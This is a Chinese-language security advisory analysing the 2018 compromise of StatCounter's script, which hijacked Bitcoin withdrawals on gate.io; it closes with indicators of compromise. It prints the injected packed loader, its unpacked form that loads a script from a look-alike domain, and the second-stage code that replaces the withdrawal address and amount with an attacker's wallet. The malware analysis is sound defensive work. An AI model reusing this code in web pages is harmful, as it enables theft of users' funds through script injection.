漏洞預警 | 知名交易所gate.io受JS程式碼劫持
概述
近期,網路分析平臺 StatCounter 被黑客攻擊,其服務程式碼被植入惡意指令碼,加密貨幣交易所 gate.io 因使用此程式碼而受到惡意劫持,這個惡意程式碼劫持了通過 Gate.io 加密貨幣交易所的 Web 介面進行的任何比特幣交易,攻擊者通過替換目標地址來竊取比特幣。目前,StatCounter 仍然受到了損害,而 Gate.io 已從其網站上刪除了該指令碼。
一、漏洞分析
分析過程參考 : [ ofollow" rel="nofollow,noindex" target="_blank">https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/ ]
11月3日,攻擊者成功攻擊了網路分析平臺 StatCounter 。許多網站管理員都使用此服務來收集訪問者的統計資訊(這項服務與Google Analytics非常相似)。網站管理員通常會在每個網頁中新增一個外部 JavaScript 程式碼,其中包含來自 StatCounter 的一段程式碼 www.statcounter [.]com/counter/counter.js。攻擊者通過黑入 StatCounter 平臺,可以在所有使用 StatCounter 的網站中注入 JavaScript 程式碼。
攻擊者修改的指令碼在 www.statcounter [.]com/counter/counter.js 通過加入一塊惡意程式碼,從下面的程式碼中所示,惡意程式碼放在了指令碼的中間部分。而因為攻擊者通常會在指令碼的開頭或結尾新增惡意程式碼,加在中間位置會增大檢測的難度。
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
該指令碼使用 Dean Edwards 打包器打包,這可能是最受歡迎的 JavaScript 打包器。但是,它也可以進行簡單地解壓,導致運行了指令碼程式碼,如下所示。
myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
這段程式碼將首先檢查URL是否包含 myaccount/withdraw/BTC. 。因此,我們已經可以猜測攻擊者的目標是以比特幣平臺為目標。如果檢查通過,指令碼將繼續向網頁新增新的指令碼元素,並將程式碼合併到 https://www.statconuter [.]com/c.php。
要注意的是,攻擊者註冊的域名 statcounter[.]com 非常類似於 Statcounter 。他們只是替換了兩個字母,在檢視日誌的時候很難注意到。有趣的是,通過檢查該域的被動 DNS,我們注意到該域已於 2010 年因被濫用而暫停。
如上所述,指令碼以特定的統一資源識別符號(URI)為目標:myaccount/withdraw/BTC 。事實證明,在寫入時不同的加密貨幣交易所中,只有 gate.io 具有帶有此URI的有效頁面。因此,這種交易所成為這次襲擊的主要目標。這種交易所非常受歡迎,在中國的 Alexa 排名為 26,251 甚至最高時為 8,308。
此外,根據coinmarketcap.com ,每天在這個平臺都有高達數百萬美元的交易。因此,攻擊者在這個平臺上大規模竊取加密貨幣獲利將是十分巨大的。
網頁 https://www.gate [.]io/myaccount/withdraw/BTC ,如下所示,用於將比特幣從 gate.io 帳戶轉移到外部比特幣地址。
或許不令人吃驚,事實證明,在第二階段的有效載荷,從 statconuter[.]com/c.php ,被設計成竊取比特幣。因此,將指令碼注入gate.io比特幣轉移網頁是有意義的。這個指令碼也包含 Dean Edwards 打包器。解壓縮版本如下所示。
document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
在真正的 gate.io 網頁中,已經有一個 doSubmit 函式,當用戶點選提交按鈕時呼叫,但攻擊者在這裡重新定義了它。
該指令碼會自動將當前比特幣地址替換成攻擊者的地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad 。每次訪問者載入 statconuter[.]com/c.php 指令碼時,惡意伺服器都會生成一個新的比特幣地址。因此,很難看出有多少比特幣已轉移給攻擊者。
根據受害者是否輸入超過 10 BTC 的金額,攻擊者的指令碼將使用它或使用受害者帳戶的每日提款限額。在我們的測試帳戶中,預設情況下,提款限額設定為 100 BTC。最後,惡意指令碼提交表單,該表單執行從受害者帳戶到攻擊者錢包的轉移。
這種重定向可能對受害者來說不明顯,因為替換是在他們點選提交按鈕後執行的。因此,這次攻擊發生的過程非常迅速,甚至可能不會任何顯示。
由於每次將惡意指令碼傳送給受害者時都會生成一個新的比特幣地址,我們無法看到攻擊者收集了多少比特幣。例如,如果我們檢查我們在測試機器上收到的地址,則餘額為 0 BTC。
二、結論
即使我們不知道在這次攻擊中有多少比特幣被盜,但此處展示了攻擊的可能性與範圍,特別是加密貨幣交易所。為了實現這一目標,他們破壞了分析服務的網站,然後從一個加密貨幣交易所的客戶那裡竊取比特幣。
它還表明,即使您的網站已更新並受到良好保護,它仍然容易受到最薄弱的元件的影響,尤其是元件使用的是外部的資源。這是另一個提醒,外部 JavaScript 程式碼由第三方控制,可以隨時修改,恕不另行通知。
我們一發現這種惡意活動,已經通知了 StatCounter 和 gate.io .
三、IOC/">IOC
惡意網址:
statcounter[.]com/counter/counter.js statconuter[.]com/c.php